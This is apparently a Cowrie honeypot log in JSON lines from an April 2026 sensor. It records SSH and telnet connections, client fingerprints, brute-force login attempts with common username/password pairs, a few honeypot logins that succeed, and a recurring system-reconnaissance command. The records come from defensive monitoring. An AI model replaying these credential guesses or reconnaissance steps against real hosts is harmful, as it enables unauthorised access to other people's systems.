{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:10:39.423126Z","src_ip":"74.91.224.229","session":"abc5b23a78e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qazxsw2","message":"login attempt [ubuntu/1qazxsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:10:39.880353Z","src_ip":"74.91.200.154","session":"92a06333440a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"itadmin","password":"password","message":"login attempt [itadmin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:10:40.408663Z","src_ip":"74.91.224.229","session":"abc5b23a78e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:10:41.106488Z","src_ip":"74.91.200.154","session":"92a06333440a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:10:41.648366Z","src_ip":"74.91.224.229","session":"abc5b23a78e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.72.13.239","src_port":20407,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a9382f0fafe","protocol":"telnet","message":"New connection: 188.72.13.239:20407 (10.17.0.5:23) [session: 5a9382f0fafe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:10:41.771977Z"}
{"eventid":"cowrie.session.closed","duration":13.389734268188477,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:10:55.161632Z","src_ip":"188.72.13.239","session":"5a9382f0fafe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":40012,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f536a39b9c0","protocol":"ssh","message":"New connection: 159.203.92.129:40012 (159.203.135.109:22) [session: 5f536a39b9c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:11:08.456593Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:11:08.460212Z","src_ip":"159.203.92.129","session":"5f536a39b9c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:11:08.463351Z","src_ip":"159.203.92.129","session":"5f536a39b9c0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin2019","message":"login attempt [admin/admin2019] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:11:08.472231Z","src_ip":"159.203.92.129","session":"5f536a39b9c0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:11:08.505416Z","src_ip":"159.203.92.129","session":"5f536a39b9c0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","message":"CMD: cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:11:08.507558Z","src_ip":"159.203.92.129","session":"5f536a39b9c0","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -f2 -d:","message":"Command not found: cut -f2 -d:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:11:08.509875Z","src_ip":"159.203.92.129","session":"5f536a39b9c0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","size":111,"shasum":"c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:11:08.514978Z","src_ip":"159.203.92.129","session":"5f536a39b9c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:11:08.519109Z","src_ip":"159.203.92.129","session":"5f536a39b9c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.20.218","src_port":42576,"dst_ip":"159.203.135.109","dst_port":22,"session":"1900596760de","protocol":"ssh","message":"New connection: 103.172.20.218:42576 (159.203.135.109:22) [session: 1900596760de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:11:35.336883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:11:35.341416Z","src_ip":"103.172.20.218","session":"1900596760de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:11:35.574923Z","src_ip":"103.172.20.218","session":"1900596760de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123qwe@","message":"login attempt [ubuntu/123qwe@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:11:36.519671Z","src_ip":"103.172.20.218","session":"1900596760de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:11:37.756587Z","src_ip":"103.172.20.218","session":"1900596760de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.224.229","src_port":55748,"dst_ip":"10.17.0.5","dst_port":22,"session":"193e7b28a58d","protocol":"ssh","message":"New connection: 74.91.224.229:55748 (10.17.0.5:22) [session: 193e7b28a58d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:11:37.874849Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:11:37.885736Z","src_ip":"74.91.224.229","session":"193e7b28a58d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:11:38.125148Z","src_ip":"74.91.224.229","session":"193e7b28a58d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"games","password":"guest888","message":"login attempt [games/guest888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:11:39.114227Z","src_ip":"74.91.224.229","session":"193e7b28a58d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:11:40.355638Z","src_ip":"74.91.224.229","session":"193e7b28a58d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.200.154","src_port":44048,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c32a9fa3986","protocol":"ssh","message":"New connection: 74.91.200.154:44048 (10.17.0.5:22) [session: 7c32a9fa3986]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:11:44.754597Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:11:44.763098Z","src_ip":"74.91.200.154","session":"7c32a9fa3986","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:11:44.980860Z","src_ip":"74.91.200.154","session":"7c32a9fa3986","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test12346","message":"login attempt [root/test12346] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:11:46.351463Z","src_ip":"74.91.200.154","session":"7c32a9fa3986","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:11:47.580097Z","src_ip":"74.91.200.154","session":"7c32a9fa3986","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60358,"dst_ip":"159.203.135.109","dst_port":22,"session":"94756feb0c61","protocol":"ssh","message":"New connection: 159.203.92.129:60358 (159.203.135.109:22) [session: 94756feb0c61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:11:49.887615Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:11:49.892074Z","src_ip":"159.203.92.129","session":"94756feb0c61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:11:49.899363Z","src_ip":"159.203.92.129","session":"94756feb0c61","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin2020","message":"login attempt [admin/admin2020] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:11:49.908993Z","src_ip":"159.203.92.129","session":"94756feb0c61","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:11:50.082162Z","src_ip":"159.203.92.129","session":"94756feb0c61","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","message":"CMD: cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:11:50.085557Z","src_ip":"159.203.92.129","session":"94756feb0c61","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -f2 -d:","message":"Command not found: cut -f2 -d:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:11:50.089753Z","src_ip":"159.203.92.129","session":"94756feb0c61","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","size":111,"shasum":"c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:11:50.102089Z","src_ip":"159.203.92.129","session":"94756feb0c61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:11:50.107694Z","src_ip":"159.203.92.129","session":"94756feb0c61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00946164131165,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:11:58.708642Z","src_ip":"138.36.57.0","session":"84e7b8f91a9f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55546,"dst_ip":"159.203.135.109","dst_port":22,"session":"e52d6c65c783","protocol":"ssh","message":"New connection: 159.203.92.129:55546 (159.203.135.109:22) [session: e52d6c65c783]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:12:32.407659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:12:32.412307Z","src_ip":"159.203.92.129","session":"e52d6c65c783","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compC